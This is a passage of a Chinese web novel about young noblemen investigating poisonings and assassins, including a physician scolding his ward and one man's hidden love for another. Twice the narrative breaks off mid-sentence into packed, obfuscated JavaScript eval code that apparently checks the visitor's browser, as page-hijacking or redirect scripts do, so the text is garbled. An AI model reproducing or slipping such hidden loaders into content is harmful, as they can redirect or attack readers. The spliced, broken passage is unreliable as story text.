恰这时顾於眠也瞪大那双眸子抬头看他,两人的脸竟意外地贴近,这又把严卿序吓得一激灵,忙向后退了几步。 实话说,顾於眠如今已是要及冠的岁数了,连他母亲都没再摸过他头了。 然而只见眼前严卿序耳朵通红,头垂着也不敢抬起来,顾於眠又哈哈大笑起来。 “我不介意的。卿序你怎如此怕我啊?又不会吃了你!” “是我鲁莽僭越!” 顾於眠笑着摆摆手,又把他扶起来,“这算什么事呀?只是你常这样么?长停大抵愿意,只是尘吾竟也愿意么?我可是连尘吾的手都碰不得呢。” 严卿序不好意思瞧他的眼睛,只能望着别处道:“不,是我冒犯了,我一不小心……” 我情难自己。 顾於眠又笑着挥挥手,觉得严卿序是方才和孩子待久了,无意识的行为罢了。 然而严卿序手心温热的触感迟迟不散,红晕染上耳垂也褪不下去。 ------------------------------------- 当几人终于回到添九村中时,顾家玄卫已经排列整齐在那候着了。 领队的方青袡迎上去道:“二位公子辛苦了!顾公子果然料事如神,多谢了!” 见顾於眠点了点头,方青袡于是在谢尘吾面前单膝跪地,“公子,方才有刺客来袭,多亏顾公子提前告知我们小心防备。” 谢尘吾皱了皱眉,他讨厌受欺瞒,也最烦他人背着自己做事,一不信他,二认他傻。 满身傲骨,怎可能受得了欺辱? 但谢尘吾到底没骂出口,也终究是明白顾於眠没让江念与跟来的原因。 他蹙眉瞥了顾於眠一眼,顾於眠只回了个无奈的笑。 “什么人?”,谢尘吾接过白布仔细擦拭起罹难剑身,一寸一停。 方青袡头也没抬,只抱拳跪得笔直,“那刺客嘴关得严实,费了好大劲也才知道他们都是些亡命徒,一月前被人买了,昨日才收到行动的指示。” “目标是什么?” “杀了营帐中的所有百姓。还有杀了……” “谁?你藏着掖着做什么?!”,谢尘吾瞪了方青袡一眼,厉声道。 “您……”,方青袡抬起头来,神色有些慌张,又瞥了顾於眠一眼,“还有……顾公子。” 谢尘吾闻言重重将罹难剑插进土中,脸色铁青,那锋刃几乎是贴着方青袡的面落下的。 “人呢?!” “抓了五个,死了两个,半死一个,还有两个锁在牢里。但……他们该说的估摸着已经说完了,那些买下他们的人不露脸,他们也不知道是谁。” 方青袡犹豫了下,又接道:“只是,那刺客说看见了一人腰间系的是白玉司南佩……身上还带着沉香味……” “怎么?生怕人认不出纪家?”,谢尘吾斜着眼盯着方青袡,面露不悦,“你当纪家人傻吗?!” “白玉司南辟邪仆,沉水沈香拜佛徒。确是纪家的打扮,”,顾於眠耸了耸肩,“谁知道真假呢?祸水东引也得有个西先。” “明摆着的火坑你也要跳?!” “将计就计未尝不是良策。”,顾於眠又笑了。 “兵行险招?你得受得起。”,谢尘吾声音冷冽,“他们本便是有备而来,敌暗我明,你如何和他们斗?能守好自个的地盘都不错了。” “苍巡也落不了纪地。”,严卿序叹了口气,“从一开始,我们就在他们的手心里跑了,还能如何呢?” 谢尘吾听罢默默无言,半晌只淡淡说了句,“常先生到了,去见见吧。” ------------------------------------- 夜色如水,月儿早早挂上了树梢,初夏的繁茂躲在淅淅沥沥的雨中,看不见影。 林间虫鸣聒噪,只是雨后湿润,并不显得闷热。 窄长的木栅栏圈围着数十个营帐,篝火生在帐外,细碎的火星跳跃着,微光映在有些疲惫的医师们脏掉的白袍间。 栅栏外新搭的营帐里还点着烛火,浓郁的草药味直向外窜出,打在撩帘而入的顾於眠脸上。 “常叔,我进来了。”,顾於眠轻声说了句。 他见常柎伏案疾书,身侧放了几本发黄的旧医书,只是都翻开来,书页上有些虫蛀的密密小洞。 那些书可都是常柎的宝贝,他时不时便要翻看翻看,换句话来说,常柎待它们可比待顾於眠好太多了。 顾於眠没有打扰常柎,兀自寻了个地坐下了。 他有一肚子话想说,这会却只能静静待着,免不得有些郁闷。 他向来是个耐不住闲的主,见脚边堆着些被揉皱的纸团,于是拾起张废纸便拆开来。 那些纸团里边大都密密麻麻写了些草药的名字,尽是些古怪毒草,后边又添了解法,只可惜上边皆用红墨大大画了个叉。 顾於眠无所事事地拆看纸团,又揉皱扔回地上,反反复复,着实无聊。 然而约是一炷香后,常柎才终于叹了口气,放下手中笔,回过身去。 “你小子干嘛呢!?” 顾於眠闻言忙起身给他端去盏剡溪茗,常柎接过去喝了口,却合盖放下了。 他向来挑剔,一旦喝了口茶觉得味道不对便不会再喝第二口。 “常叔,如何了?” “还能如何,那些狗畜生在水里掺了七八种毒,却又都不致命,混在一起,鬼辨得清!”,常柎怒骂几句,气得脸都涨红了。 只是常柎话是这么说,顾於眠见他桌上白纸已经列出四种毒草了,又细细看了眼,果然有“暮海棠”。 “常叔您先消消气,”,顾於眠从不怀疑常柎的能力,见难不倒他,也放下心帮他捏起肩来,只是小心翼翼道,“这回是我‘先斩后奏’,还望常叔……别……怪罪。” “哼……”,常柎冷哼了声,便垂下眸子,任他捏着肩,他忙活了一整日,属实有些疲惫。 “能帮到百姓便好……” 常柎的声音轻轻传到顾於眠耳中,顾於眠也像松了口气般,笑了。 “常叔,於眠还有一事相托。”,顾於眠犹豫着开了口,“那个……宜眠草,能不能再给我些?” 常柎闻言皱了皱眉,睁开眼来,“什么?你香囊丢了么?” “没……我……”,顾於眠挠了挠头,不知该如何回答好,他不想扯谎。 常柎重重叹了口气,顾於眠似乎听见他咬牙切齿的声音。 片刻静寂后,木椅突地被狠狠拉开发出“吱呀”响声,常柎又重重一掌拍在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾於眠默默看着,知道常柎是真的生气,他也没敢发出一丁点声音,生怕打扰到他休息。 夜很长也很寂寥,月光从营帐未掩好的门帘中钻了进来,银晖只局限在那窄窄的方寸之地。 顾於眠是背光跪着的,他连那微弱的光都看不见。只是听得营帐外悉悉簌簌地谈话声与脚步声,倒显得这夜没那么孤独。 反正他也睡不着,跪一整晚也没关系。 他偶尔会听见床榻上常柎翻身的声音,以及在夜里听得格外清晰的呼吸喘气声。 不知跪了多久,顾於眠觉得双腿发麻,正想着时辰的时候,便听得帐外鸡已在喔喔地啼了。 “已至丑时了……”,顾於眠心中暗自算着,“不知明日常叔醒了能不能消消气。”,想着,顾於眠又叹了口气。 谁知,却听得布料摩擦的沙沙声响,一个瘦长人影已到了跟前。 顾於眠头都不敢抬起,只怯怯道:“常……常叔,我……我把您吵醒了?” 常柎没搭理他,只是站着俯视那跪得标准的顾家公子,看他那苍白的脸在昏暝中若无暇的美玉,尽数跌在浑浊的泥潭里,逃脱不得。 他又如何舍得? 到底是顾於眠,自小常柎便拿他没办法,如今也是一样。他躺在床上又怎么可能睡得着?中毒蛊又是顾於眠的错么? 常柎知道自己不占理,他没理由去逼迫一个苦海中浮沉挣扎之人。 “换做是你,你能安心睡么?”,常柎的声音有些沙哑,帐内尽是他重重的叹息声,“得了,起来吧,别跪了,我瞧着难受。” 顾於眠于是悻悻起身,弱弱唤了句,“常叔……” “我知道了……别说了……”,常柎揉了揉皱得发疼的眉心,从随身带着的行囊中取出一小袋宜眠草来,口里絮絮叨叨还在骂,“他娘的,就是不听劝……找死……” “常叔我错了,我下次不敢了……” 谁知常柎怒气冲冲地转过身将那小袋子砸在顾於眠身上,“你下次还敢!” 顾於眠本抬起的头又垂下了,“我不会了。” “你自己明白就好,”,常柎移过目光,不想再看顾於眠那副凄凄惨惨的模样,“回去吧,别把时间都浪费在我这了。” 顾於眠作揖行礼,道了句,“常叔那我先走了,您早些休息吧。” 继而他缓缓后退几步,这才转身轻轻掀帘出了帷帐。 常柎自己立在原地,昏黑的帐内依旧是浓郁的草药味,他盯着那要开不开的帘子,半晌不动。 记忆里那个稚气未脱的小子如今长大成人,他该高兴才是。 只是那本不属于他的忧郁像个摆脱不得的影子,缠绕着,终有一天会把他绞死在虚无缥缈的幻觉中。 夜太长,太寂寥了。 26. 情浅 朝日初上,天边依旧浮着几颗色浅的星。 尚是营中阒然之时,常柎便顶着副要杀人似的臭脸熬起了药,那陶药罐里本已咕咕咚咚直冒泡,常柎不减火反添柴,让一旁打下手的玄卫都瞪大了眼。 “小崽子,老子还治不了你……”他嘴里絮絮叨叨,又掀了药罐的盖,往其中扔进去好些黑黢黢的药草,“气死我算了!老子死了你们都安生!” 常柎夜不能寐,清醒了一整晚,可现下一想到顾於眠那头犟驴还是气得近乎呕血。两玄卫面面相觑,却是大气不敢出一个。 “你们谁去帮我把顾於眠给叫来?”常柎忽然回过身同他二人道。 “欸我去——我去——” 其中一人捞到宝似的着急忙慌应答,言罢便大步奔出营帐,背影是何等的雀跃。只是他刚奔出营帐便差些撞到一人身上,见状赶忙退后一步站定,定睛一看,便抱拳恭恭敬敬道了声——“严公子。” 严卿序笑着朝他点了点头,旋即掀帘入帐,他轻声唤:“常先生。” 常柎闻言却连头都没抬,只用一把蒲扇不停扇着炉火,有袅袅热气自土陶罐上的小孔中冒出,烫得常柎额间生了细密的汗珠。 半晌,他才慢悠悠掀起眼皮睨他一眼,问:“严公子找我什么事?” 严卿序同那玄卫递了个眼神,那侍卫便心领神会地出了帐。 常柎面上从容,观火摇扇,手中动作未停,只又道:“你把我的人赶出去了,你得替他。” 他头也没回,只反手指了指案上石臼。可严卿序却是笑着乖乖颔首,他走至常柎身侧,拿起石杵便细细捣起药。他手上有劲,臼中翠绿的药草很快淌出碧青的汁液,碾碎的草糊成一团,复又被搅进杵底。 “找我什么事?可是来看病寻药的?”常柎见他干活利落,不自禁满意地勾了勾唇。 “不……恐怕有些冒犯,但晚辈欲想向您打听一件事。” 严卿序知道这般属实莽撞,但昨夜他思忖良久,仍旧觉得难以放下,因而这会喉头滚动,又补充道:“我见於眠总心事重重,可是有心结么?或许是……三年前虚妄山乱事落下的么?” 常柎听了那话,手中扇逐渐慢下来,到最后索性停住了,他斜睨严卿序,神情冷漠:“严公子打听这事做什么?” “我希望能帮到他……” “严公子,莫怪我说话直,但这并非你能插手之事。”常柎抬眸,一双寒目紧盯着严卿序毫不闪躲的眼。 “若是有晚辈能相帮之处,还望常先生不吝赐教。”严卿序说着恭敬推手作了个揖,“晚辈自知此举僭越,但实在不愿再看见於眠痛不欲生的模样……” “为什么?就因为这不到三月的君子之交?” 因为我起了妄念? 因为我见着心痛? 因为我动情了? 他说不出口,因而只是垂首抱拳。 “严公子还是莫要操这份心了,你救不了他的。”常柎又摇起扇来,“我替他谢过你的好意。” 严卿序也没穷追不舍,道了声谢后便又重新捣起药来,他干得卖力,石杵捣药之声闷而清晰。 半晌,那叫人看不透心思的常柎又开口道:“你若觉得良心过不去,那便多陪陪他,愈多愈好,别让他一人待着胡思乱想。” 严卿序还没来得及应话,便听得一清朗语声入耳——“常叔,您找我?” 顾於眠从帐外探入个脑袋,他瞧见严卿序的刹那,便泥鳅般钻了进来。那公子翩然而至,姿容清绝,被外头曦光一照,更神仙似的,叫严卿序看得一愣。 他笑弯了眼睛,一身月白袍给帐中添了好些生气:“好巧,卿序也在这呢!昨夜可安?必是好梦吧?” 严卿序昨夜压根没睡,但听他问,还是笑着点了头。 “呵……我见你也满面春风的,昨晚应该睡得也不错吧?”常柎笑里藏刀,唬得顾於眠瞪大了一双眼。 “常叔,我哪敢呐……我昨日思忖了一晚上,觉得自己真真错得一塌糊涂,正想着日后怎么办才好,您就唤人来叫我了。” “别在我这卖弄你的伶牙俐齿,找打……”常柎嗤鼻冷笑,又朝他勾了勾指头,“过来,把这药端去喝了。” 言罢他便指了指桌上提前盛好的药,他方才还好心帮顾於眠扇了扇,这会应是不烫嘴了。 顾於眠听了那脸都青了:“怎么又要喝药呐?” 那同白瓷碗大相径庭的缁色汤药很快被严卿序顺手端至他跟前,可他定睛瞧去,那玩意犹天冠地屦,浮在上边的药渣清晰可见,像极了泥潭中冒出的泡…… “常叔……” “常个鬼的叔,我他娘让你喝药,你叫我作甚?”常柎重重将掌拍在桌子上,“这药能缓解宜眠草的毒性……别不识好歹!” 天不怕地不怕的顾氏长公子被常柎吓得一颤,只得乖乖捧起药碗坐下,奈何他盯着那浓药,正欲灌进去,又犹豫着垂下手去,药还未入口,先来了阵反胃之感。 “呕……这药味也太浓了吧……” 他捏住鼻子,蹙起眉头无助地望着严卿序。 严卿序这会手中活也干完了,于是又近前拍拍他的肩,温柔道:“於眠,你先忍忍,我这有几块酥糖,喝完再解口。” 言罢他从怀中拿出个油纸包好的酥糖点心来。 “听话,良药苦口。忍忍便过去了。” 顾於眠深叹了口气,一仰头,连着“咕咚”几声,那药遽然见底。他饮尽后赶忙用手捂住嘴,生怕将药一并吐出去。 见状,严卿序赶忙替他掀开糖纸,将糖递了过去,顾於眠却没接,只凑近严卿序的手,含住那酥糖一角,叼了过去。 这一举动让未料及的严卿序一惊,只是他赶忙藏住眸中慌乱,垂下手去。又听得帐内传来一声重重叹息,顾於眠已含着糖瘫坐在了床榻上。 顾於眠天生上扬的嘴角这会已弯了下去,他露出副生无可恋的表情,含糊开口问:“常叔……我还得喝几次?” “每日一次,先喝个半个月看看吧。”常柎眼见的心情舒畅不少,这会正颇为得意地煎着药。 “严公子,您来帮我把药给端到外头去。” 严卿序点头应了,只又同顾於眠偏头笑了笑示意离开,旋即端着药稳稳当当出去了。他不知,那常柎一直盯着他笔挺颀长的背影瞧,眼神晦朔。 他方一出帐,常柎便低声凑至顾於眠跟前问了句:“你和那严公子很熟识吗?” “哈哈哈——常叔您问的什么话?我们皆已是交心的兄弟,怎还能问熟不熟识?” “是么?交心,还是交心?” “什么?” “没什么……但我可提前同你说明白了,崽子。”常柎把手在衣裳上擦了擦,“今后无论发生什么事,你都不能瞒我,听懂没?” “我什么时候瞒您啦?” “啧……你听着就是了。这年头,哪怕你有八百个心眼子,有些人还是得特别提防着些,懂不懂?” 顾於眠不知常柎意指何方,只先乖乖点了头。 后知后觉的情愫生于一片灿烂与迷蒙中,尚为飘渺烟云所阻。倘他看的清晰,后日就不当为之张皇失措。 ------------------------------------- 出发去寻血蝶巢穴的前日,顾於眠一整天都在思索布局者的意图。他理不清那贼人引他们入山的缘由,倘使他们不愿叫炼毒一事败露,本该趁早断了溪中毒的源头,而不应傻子似的留下蛛丝马迹供他们去寻。 但他也清楚,添九百姓如今困于鹿砦围成的营中,若不能医好身上怪病,便根本不会等来烽冼城门大开的日子,那城中百姓也至今仍如芒在背、坐立难安。 只是这溪水之毒不遮不掩,世家名医数不胜数,制出解药不过是时间的问题。可一旦解药制出,制尸仆的秘方也再难藏住,如此情况下,不利的可是制毒之人。 那该如何是好? 惟有赶尽杀绝而已。 他的猜测并非十拿九稳,却明白那制毒人冒不起这险。 那营帐中的玄卫并不多,方青袡同方濋作为谢家的领头玄卫一般忙于府中事,不可能无时无刻守在添九。奈何添九的老弱妇孺众多,几队府兵都忙活着煎药端药,一身疲惫,护卫的重任乍一瞧,好似都落在这营帐中的安晏三将沈吟离身上。 可沈吟离来此是治病救人的,要让他一人兼多职,他亦分身乏术,纵有再高强的本领也无法独对突袭的刺客。 于是待严卿序和谢尘吾走后,他又同江念与交代了守营一事。其实不告诉谢尘吾于严卿序,也并非他信不过那二人,只是要戏演得真些,总不能少了唱戏之人。 击鼓鸣呐,便是要看客瞧得欣喜。 更何况,他本非光明磊落的大善人,正因为清楚十五族中人最喜动些不干净的手段,多疑方成了他的心病。 纵使他信得过谢尘吾,也未能信谢家所有人。虎狼柴犬藏得深,他便也做昏晦间躲掩之人,暗中较量,岂不公平? 在毒于添九彻底扩散开前,疫病之事无人上报,也未尝有人发觉,若偏说谢府无叛徒,实在有些自欺欺人。谢尘吾一叶障目,他却是身在山外看得清清楚楚。 再言之,步家毒草白纸黑字写着往这谢地送,谁批了这桩见不得人的买卖?那些毒草去向如何?他就是问谢尘吾,谢尘吾也定是答不上来。 满身傲骨者生在了龌蹉家,便怨不得沾一身腥。仔细护着自己难得的干净,别连心都黑才好。 话说到底,他们均是有过命交情的兄弟了,何苦互相为难? 顾於眠也无奈,但十五族乱种是百年前埋下的,他们后生也只能顺着这条道闷声走到黑,甭管前方是祸是福。 他终究是动了私心,不愿叫美玉轻易碎裂,因而小小棋局,他藏去了严卿序和谢尘吾的影子,要的便是他俩置身事外。 他怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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严卿序舀了勺冰酪,不急不缓道:“这节日确是给谢地添了几分儒雅之风,相传百年前一个叫‘谢歏’的将军同其妻恩爱有加,却因战乱而天人永隔,故其妻每年这个时候便会放飞兰花灯以感慨二人之兰因絮果。” 他语音刚落,一抬眸便瞧见顾於眠正在剥荔枝,修长白皙的手轻轻摁住那荔枝的顶,指甲嵌入其中,那鲜红的外壳于是被撬开来,露出其中光滑白嫩的果肉。 汁水霎时飞溅出来,顾於眠却只不急不缓地将荔枝递到严卿序嘴边,笑道:“手拙,莫嫌弃。” 严卿序见状,却带上些许慌张,只微微垂下头小心翼翼叼过去:“多谢。” “甭跟我客气,你要吃多少,我便给你剥多少。虽说我平日身子骨懒,但这事易做,也不累人。” 严卿序闻言讪讪一笑:“於眠,可莫要吃多了,要上火的。” “是是是——你还是继续讲故事吧!”顾於眠又笑着将一个荔枝放入口中,“卿序日后管教孩子定有一手。” 严卿序无奈咽下荔枝果肉,又接道:“谢地之人感其二人情真意切,多有效仿,逐渐成了今日‘兰灯节’,此节既是为了给二人求得在天同为比翼鸟之福,也容谢地人借机祈万事胜意。” “我们可有机会逛逛?”顾於眠听了那话登时感兴趣起来,他自小便是好出门玩的性子,自然不愿错过这么一个大好机会。 “我便是为这事来的。”严卿序在顾於眠桌上放下个小巧精致的莫奈何,笑说,“明晚灯会便要举行,我们一同去凑凑热闹吧?” “那便一言为定!”顾於眠笑着用白帕子拭了拭手,把玩起那个莫奈何来,纤长的手指一撬,那莫奈何便皆尽散开。 严卿序没敢盯着他瞧,只不慌不忙讲起自己小时候和谢尘吾与魏长停逛灯节的趣事来,引得顾於眠哈哈大笑。他见此景,面上喜色更浓,他最为喜欢的便是顾於眠开怀的恣意模样,喜欢他那双清澈透亮的眸子,喜欢看他眼中只映着自己的模样。 他很喜欢,从三年前就喜欢。 少年情动似林中雀,欲啼而止,欲飞还休。只是风过时,沙沙的尽是心头怦怦响声。 兰灯节不过是一个偶然碰见的佳节,若非魏长停总在他耳边吹风说兰灯节诉情意能同心上人地老天荒,白头偕老,他绝不会轻易将心中话朝那人吐露。 告诉他吧,都告诉他。 疯狂的念头一旦生了根,很快便破开厚土,发芽,开出无畏甚而扭曲的花来。 然而他不觉得难堪,那情不脏,也并非见不得光。他不愿操之过急,却也并不甘心以知己身份自居,他心愧于欺瞒他,亦忧心有人捷足先登。 他可以默不作声敛起所有欲念与痴心妄想,但在此之前,他需要一声答复,不论好坏,只管可否。 能助他渡情劫的,惟有表情深、诉衷肠而已。